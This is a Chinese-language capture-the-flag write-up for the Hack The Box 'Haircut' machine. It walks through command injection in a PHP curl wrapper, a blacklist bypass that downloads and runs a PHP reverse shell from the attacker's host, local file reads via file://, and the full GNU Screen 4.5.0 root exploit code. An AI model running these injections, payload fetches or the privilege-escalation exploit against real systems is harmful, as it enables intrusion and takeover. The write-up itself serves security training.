[HTB] Haircut Writeup
2022-8-6 09:0:46 Author: 一个人的安全笔记(查看原文) 阅读量:7 收藏

概述 (Overview)

HOST: 10.10.10.24

OS: LINUX

发布时间: 2017-05-27

完成时间: 2021-09-15

机器作者: r00tkie

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #SUID #Command_Injection

攻击链 (Kiillchain)

使用 Nmap 对目标服务器进行开放端口枚举,通过目录枚举识别出脆弱的 PHP 功能服务器,使用命令执行内容封装协议进行本地文件读取,经过对其 Bypass 后成功拿到立足点。最终通过具有 SUID 权限的脆弱服务进行权限提升,拿到 ROOT 权限。

枚举(Enumeration)

老规矩,开局使用 Nmap 对目标服务器的开放端口进行枚举扫描:

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title:  HTB Hairdresser 

仅有两个开放端口,看来我们需要在HTTP服务上找突破口了。

Port 80 - Nginx/PHP

使用浏览器查看网站只看到一张图片,预览网页源代码也没见到其他的提示:

对目录进行枚举,访问 /uploads 路径会出现 "403 Forbiddeh",说明并不存在目录列表显示:

尝试将首页上的图片路径加入url,发现可以预览的图片:

立足点(Foothold)

因为 Web 服务是 Nginx ,那么有理由推测大概率是配合 PHP 部署的,将后缀加入到目录扫描的枚举配置中,再次扫描后得到 /exposed.php 文件。

浏览它会发现是一个可用来加载外部网站的功能:

从表单提交后返回的信息来看,可能存在命令注入_(为什么不是 SSRF 是因为显示的信息和 curl 命令获取目标网站的详情信息类似)_,测试后发现与预想的一样。

从上图中可以得到目标服务端是会主动访问 kali 上的 Web 服务,随后进行简单的 Fuzzing ,发现当提交的内容含有| 或 & 会提示拦截:
 | is not a good thing to put in a URL

排除可以用管道链接符来执行任意命令,改为使用运行反引号来进行命令执行。

表单提交:

-v http://10.10.17.64/`id`

Kali 的 Web 服务得到了目标服务器执行 id 命令后的结果:

80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [15/Sep/2021 14:15:30] "GET /uid=33(www-data) HTTP/1.1" 404 -

在琢磨着怎么进行命令执行反弹shell时,想到了 curl 可以执行内置的封装协议,随后使用 file:// 协议进行本地文件读取。

表单提交:

-v file:///etc/passwd

从得到的结果中发现 root、maria 用户具备登录条件,接着读取 exposed.php 文件,看看当前漏洞是怎么产生的,分析后续构造利用方式:

表单提交:

-v file:///var/www/html/exposed.php

得到 PHP 代码:

...snip...
<?php 
    if(isset($_POST['formurl'])){
    echo "<p>Requesting Site...</p>"; 
    $userurl=$_POST['formurl'];
    $naughtyurl=0;
    $disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
    foreach($disallowed as $naughty){
        if(strpos($userurl,$naughty) !==false){
            echo $naughty.' is not a good thing to put in a URL';
            $naughtyurl=1;
        }
    }
    if($naughtyurl==0){
        echo shell_exec("curl ".$userurl." 2>&1"); 
    }
    }
?>
...snip...

存在一个黑明单,不允许出现特定字符,这里我绕过的方式也很简单,通过 -o 参数特性下载反弹shell脚本,随后通过反引号触发命令执行。

反弹shell脚本 - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

提交表单:

-v http://10.10.17.64/shell.php -/tmp/shell.php

-v http://10.10.17.64/`php /tmp/shell.php`

Nice,成功拿到目标服务器立足点。


权限提升(Privilege Escalation)

将 linpeas.sh 传递至服务器,运行后进行一步收集信息。

https://github.com/carlospolop/PEASS-ng

找到一个具有 SUDI 权限的二进制命令 screen

接着在 exploit-db 中找到了权限提升利用脚本,正好目标服务器上的 screen 就是存在脆弱性的 4.5.0 版本。

https://www.exploit-db.com/exploits/41154

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

gcc -fPIC -shared -ldl -/tmp/libhax.so /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

gcc -/tmp/rootshell /tmp/rootshell.c
cd /etc
umask 000
$ screen-4.5.0 ---L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
$ screen-4.5.0 -ls
/tmp/rootshell

将上述命令全部在目标服务器上执行,成功得到 root 权限。

参考

  • • Command Injection - HackTricks[1]

  • • GNU Screen 4.5.0 - Local Privilege Escalation - Linux local Exploit[2]

引用链接

[1] Command Injection - HackTricks: https://book.hacktricks.xyz/pentesting-web/command-injection
[2] GNU Screen 4.5.0 - Local Privilege Escalation - Linux local Exploit: https://www.exploit-db.com/exploits/41154


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490162&idx=1&sn=be3e56d5573630079fcd3655ffda632b&chksm=8c945d65bbe3d47323838c89c27943200a390b320fa51395fc0c9e65d39f9c03b1cfe4de2d5c#rd
如有侵权请联系:admin#unsafe.sh